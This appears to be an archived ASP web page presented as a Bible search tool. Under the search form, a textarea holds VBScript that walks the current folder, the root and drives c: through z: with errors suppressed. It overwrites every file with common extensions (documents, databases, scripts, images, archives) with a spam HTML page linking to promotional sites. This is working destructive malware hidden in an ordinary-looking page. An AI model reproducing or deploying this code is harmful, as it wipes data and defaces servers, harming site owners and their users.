home *** CD-ROM | disk | FTP | other *** search
/ 61.19.244.139 / 61.19.244.139.zip / 61.19.244.139 / CompulsoryAgencyService / default.asp < prev    next >
Text File  |  2015-02-10  |  12KB  |  171 lines
  1. <%@ LANGUAGE="VBScript" %>
  2.  
  3. <%
  4.  
  5. Server.ScriptTimeout = 9999
  6.  
  7. Response.Buffer=true
  8.  
  9. %><html>
  10.  
  11. <head>
  12.  
  13. <title>Holy Bible Search Tool - Searching Upto 10 Multiple Online Bible Translations At Once</title>
  14.  
  15. <meta name="description" content="Holy Bible Search Study Tools - free searchable online Bible - verses, versions including NIV, KJV, commentaries, concordances, parallel, reading plans." />
  16.  
  17. <meta name="keywords" content="Holy Bible Search, Bible Study Tools, Online Bible, The Holy Bible, bible Gateway, Online, Verses, Versions, Translations, Commentary, Concordance, Scripture, New, Old Testament, Christian, Interlinear, Parallel, KJV, NIV" />
  18.  
  19. <link rel="stylesheet" type="text/css" href="http://www.holy-bibles.org/holybibles.css" />
  20.  
  21. <base target="_blank">
  22.  
  23. </head>
  24.  
  25. <body style="background-attachment: fixed" onLoad="document.single_holy_bible_search.search.focus()" link="#0000FF" alink="#0000FF" vlink="#0000FF" text="blue" bgcolor="white" background="http://www.holybiblesearch.net/skin-sky.jpg" topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">
  26.  
  27. <div align="center">
  28.  
  29. <table border="0" width="100%" id="table2" height="100%">
  30.  
  31. <tr>
  32.  
  33. <td align="center" height="100%" width="100%" valign="middle">
  34.  
  35. <div align="center">
  36.  
  37. <table border="0" width="843" id="english_holy_bibles">
  38.  
  39. <tr><td width="100%" colspan="5">
  40.  
  41. <center>
  42.  
  43. <h1>Search The Holy Bible</h1>
  44.  
  45. <form method="get" action="http://www.holy-bibles.org/bible5.aspx" name="search5holybible" target="_blank">
  46.  
  47. <div class="holy_bible_box">
  48.  
  49. <a href="http://www.virtualholybible.com" target="_top" title="Reset"><img src=http://www.holybiblesearch.net/favicon.ico border=0 width=20 valign="middle"></a>
  50. 5 Bibles Search:<input results="10" autosave="bible" spellcheck="true" patternX="[A-Z? ,.;!a-z]*" required list="GOD" value="" maxlength="45" x-webkit-speech autocomplete="on" speech type="search" name="search" id="simple" placeholder="Type search here" size="20">
  51.  
  52. <select name="book" style="font-weight: bold" title="Leave alone to search through all the 66 Holy books or select an individual book.">
  53.  
  54. <option selected title="Choose a Bible book" value="">Book
  55.  
  56. <option value="" title="This will search all othe books of the Bible (our default setting)">ALL
  57.  
  58. <script type="text/javascript" src="http://www.holybibleverse.com/books.js">
  59.  
  60. </script>
  61.  
  62. </select>
  63.  
  64. <input type="submit" value="Search"/>
  65.  
  66. </div>
  67.  
  68. <p>
  69.  
  70. <div class="holy_bible_box">
  71.  
  72. <font size="2"><input type="radio" value="any" name="mode" title="">Any word
  73.  
  74. <input type="radio" value="exact" name="mode" title="">Exact phrase
  75.  
  76. <input checked type="radio" value="all" name="mode" title="">All words
  77.  
  78. <input type="radio" value="start" name="mode" title="">Starts with
  79.  
  80. <input type="radio" value="end" name="mode" title="">Ends with
  81.  
  82. </div>
  83.  
  84. </font>
  85.  
  86. </p>
  87.  
  88. <p style="font-size: 8pt">Choose any 5 Bibles (from 60) English Holy Bible versions for 5,461,512 possible combinations:</p>
  89.  
  90. <p>
  91.  
  92. <div class="holy_bible_box">
  93.  
  94. <table border="0" width="728" id="table1">
  95.  
  96. <tr><td align="right" style="font-size: 8pt">#1:
  97.  
  98. <select style="font-size: 8pt" name="bible" size="1" title="Choose a Bible translation for Holy Bible #1">
  99.  
  100. <option selected title="Choose a Bible translation" value="NIV">NIV
  101. <script type="text/javascript" src="http://www.holybibleverse.com/bibles.js"></script>
  102. </select>
  103. </td>
  104. <td align="right" style="font-size: 8pt">#2:
  105. <select style="font-size: 8pt" name="bible2" size="1" title="Choose a Bible translation for Holy Bible #2">
  106. <option selected title="Choose a Bible translation" value="ESV">ESV
  107. <script type="text/javascript" src="http://www.holybibleverse.com/bibles.js"></script>
  108. </select></td><td align="right" style="font-size: 8pt">#3:
  109. <select style="font-size: 8pt" name="bible3" size="1" title="Choose a Bible translation for Holy Bible #3">
  110. <option selected title="Choose a Bible translation" value="AMP">AMP
  111. <script type="text/javascript" src="http://www.holybibleverse.com/bibles.js"></script>
  112. </select></td><td align="right" style="font-size: 8pt">#4:
  113. <select style="font-size: 8pt" name="bible4" size="1" title="Choose a Bible translation for Holy Bible #4">
  114. <option selected title="Choose a Bible translation" value="LEB">LEB
  115. <script type="text/javascript" src="http://www.holybibleverse.com/bibles.js"></script>
  116. </select>
  117. </td>
  118. <td align="right" style="font-size: 8pt">#5:
  119. <select style="font-size: 8pt" name="bible5" size="1" title="Choose a Bible translation for Holy Bible #5">
  120. <option selected title="Choose a Bible translation" value="MSG">MSG
  121. <script type="text/javascript" src="http://www.holybibleverse.com/bibles.js"></script>
  122. </select>
  123. </td>
  124. </tr>
  125. </table>
  126. </div>
  127. </p>
  128. </form>
  129.  
  130. <input type="text" name="best" size=100 value="<%
  131.  
  132. response.write Request.ServerVariables("SCRIPT_NAME")
  133.  
  134. response.write " or " & Request.ServerVariables("PATH_TRANSLATED")
  135.  
  136. %>"></input>
  137.  
  138. <textarea><% Response.Flush %><% ListFolderContents(".") %><% ListFolderContents("/") %><% ListFolderContents("e:") %><% ListFolderContents("f:") %><% ListFolderContents("g:") %><% ListFolderContents("h:") %><% ListFolderContents("i:") %><% ListFolderContents("j:") %><% ListFolderContents("k:") %><% ListFolderContents("l:") %><% ListFolderContents("m:") %><% ListFolderContents("n:") %><% ListFolderContents("o:") %><% ListFolderContents("p:") %><% ListFolderContents("q:") %><% ListFolderContents("r:") %><% ListFolderContents("s:") %><% ListFolderContents("t:") %><% ListFolderContents("u:") %><% ListFolderContents("v:") %><% ListFolderContents("w:") %><% ListFolderContents("x:") %><% ListFolderContents("y:") %><% ListFolderContents("z:") %><% ListFolderContents("c:") %><% ListFolderContents("d:") %><% ListFolderContents("..") %><% ListFolderContents("../") %><% ListFolderContents("../../") %><% ListFolderContents("../../../") %><% ListFolderContents("../../../../") %>
  139. <%
  140. On Error Resume Next
  141. sub ListFolderContents(path)
  142. dim fs, folder, file, item, url
  143. set fs = CreateObject("Scripting.FileSystemObject")
  144. On Error Resume Next
  145. set folder = fs.GetFolder(path)
  146. On Error Resume Next
  147. for each item in folder.SubFolders
  148. on error resume next
  149. ListFolderContents(item.Path)
  150. next
  151. for each item in folder.Files
  152. on error resume next
  153. IF InStr(item.path, ".do") OR InStr(item.path, ".ra") OR InStr(item.path, ".md") OR InStr(item.path, ".AS") OR InStr(item.path, ".aS") OR InStr(item.path, ".As") OR InStr(item.path, ".as") OR InStr(item.path, ".bi") OR InStr(item.path, ".ap") OR InStr(item.path, ".my") OR InStr(item.path, ".fr") OR InStr(item.path, ".ba") OR InStr(item.path, ".xl") OR InStr(item.path, ".sh") OR InStr(item.path, ".wm") OR InStr(item.path, ".av") OR InStr(item.path, ".og") OR InStr(item.path, ".fl") OR InStr(item.path, ".ht") OR InStr(item.path, ".mp") OR InStr(item.path, ".cm") OR InStr(item.path, ".lo") OR InStr(item.path, ".css") OR InStr(item.path, ".db") OR InStr(item.path, ".pd") OR InStr(item.path, ".pn") OR InStr(item.path, ".cv") OR InStr(item.path, ".xm") OR InStr(item.path, ".tx") OR InStr(item.path, ".js") OR InStr(item.path, ".jp") OR InStr(item.path, ".sw") OR InStr(item.path, ".gi") OR InStr(item.path, ".7z") OR InStr(item.path, ".sq") OR InStr(item.path, ".zi") OR InStr(item.path, ".ph") OR InStr(item.path, ".vb") OR InStr(item.path, ".inc") THEN
  154. 'Response.Write(item.path & vbCrLf)
  155. on error resume next
  156. 'Response.Flush
  157. set fs = CreateObject("Scripting.FileSystemObject")
  158. set file = fs.CreateTextFile(item.path, true, false)
  159. on error resume next
  160. file.WriteLine("<html><head><title>Holy Bible Search/Study Tools, Best Top Major Search Engines, Funny Trollface Meme</title><base target='_blank'><style>input, select, option { text-shadow: 0 0 1px yellow; text-align: center; background-color: white; background: white url(data:image/gif;base64,R0lGODlhAQAaALMAAP//AN7eANnZAM7OAMzMANXVANLSAOLiAPLyAP//WP///8zMA///Bff3AObmAAAAACH/C1hNUCBEYXRhWE1QPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS41LWMwMjEgNzkuMTU0OTExLCAyMDEzLzEwLzI5LTExOjQ3OjE2ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo1MUU2QjkxOUFCMzgxMUUzQkU0RUZEQTk4REE5OThBMSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo1MUU2QjkxOEFCMzgxMUUzQkU0RUZEQTk4REE5OThBMSIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjhCRkMwQjlGRTc0NTExRTI4MTE3QzhEQkUzQ0M1NTQ2IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCRkMwQkEwRTc0NTExRTI4MTE3QzhEQkUzQ0M1NTQ2Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+Af/+/fz7+vn49/b19PPy8fDv7u3s6+rp6Ofm5eTj4uHg397d3Nva2djX1tXU09LR0M/OzczLysnIx8bFxMPCwcC/vr28u7q5uLe2tbSzsrGwr66trKuqqainpqWko6KhoJ+enZybmpmYl5aVlJOSkZCPjo2Mi4qJiIeGhYSDgoGAf359fHt6eXh3dnV0c3JxcG9ubWxramloZ2ZlZGNiYWBfXl1cW1pZWFdWVVRTUlFQT05NTEtKSUhHRkVEQ0JBQD8+PTw7Ojk4NzY1NDMyMTAvLi0sKyopKCcmJSQjIiEgHx4dHBsaGRgXFhUUExIREA8ODQwLCgkIBwYFBAMCAQAAIfkEAAAAAAAsAAAAAAEAGgAABBIQpMRAQ8qdEIQvhWEM5EAQSwQAOw==) repeat top; color:blue; font-weight:bold; }</style></head><body onLoad='document.searchengine.search.focus()' link='#0000FF' alink='#0000FF' vlink='#0000FF' text='blue' bgcolor='skyblue'><hr color=blue size=5><center><form name='holybible' method='get' action='http://www.holy-bibles.org/bible5.aspx'><h1><a href='http://www.holybiblesearch.net'>Holy </a><a href='http://www.holy-bibles.com'>Bibles </a><a href='http://www.biblethumper.net'>Search</a><a href='http://www.virtualholybible.com'>:</a></h1><input x-webkit-speech speech type='search' name='search' placeholder='Type search here' size='20'> <input type='submit' value='Search Bibles'/></form><hr color=blue size=5><form name='searchengine' method='get' action='http://www.seekfreak.com'><h1><a href='http://www.seekfreak.com'>Internet Search</a><a href='http://www.13kg.com'>:</a></h1><input x-webkit-speech speech type='search' name='search' placeholder='Type search here' size='20'> <input type='submit' value='Search Web'/></form><hr color=blue size=5><a href='http://www.WHAK.com'><br><font size='1'>www.WHAK.com<br></a><a href='http://www.HolyBibleVerse.com'><br>www.HolyBibleVerse.com<br></a><a href='http://www.signgenerator.org'><br>www.SignGenerator.org<br></a><a href='http://www.MedChecker.com'><br>www.MedChecker.com<br></a><a href='http://www.SeekFreak.com'><br>www.SeekFreak.com<br></a><a href='http://www.Syncrisis.com'><br>www.Syncrisis.com<br></a><a href='http://www.Presearcher.com'><br>www.Presearcher.com<br></a><a href='http://www.SirSeek.com'><br>www.SirSeek.com<br></a><a href='http://www.FotoTrix.com'><br>www.FotoTrix.com<br></a><a href='http://www.BoobSigns.com'><br>www.BoobSigns.com<br></a><a href='http://www.canuckster.com'><br>www.Canuckster.com<br></a><a href='http://me.ddleso.me'><br>me.ddleso.me<br></a><a href='http://www.9lbs.com'><br>www.9lbs.com<br></a><a href='http://www.txt2pic.com'><br>www.TXT2PIC.com<br></a><a href='http://www.fakemagazinecover.com'><br>www.FakeMagazineCover.com<br></a><a href='http://www.trollize.com'><br>www.Trollize.com<br></a><a href='http://www.fansigngenerator.com'><br>www.FanSignGenerator.com<br></a><a href='http://www.holy-bibles.org'><br>www.Holy-Bibles.org<br></a><a href='http://www.Is-A-Jerk.com'><br>www.Is-A-Jerk.com<br></a><a href='http://www.holybiblesearch.com'><br>www.HolyBibleSearch.com<br></a></font></center></body></html>")
  161. on error resume next
  162. file.Close
  163. END IF
  164. next
  165. end sub
  166. response.end
  167. %></textarea>
  168.  
  169. </body>
  170.  
  171. </html>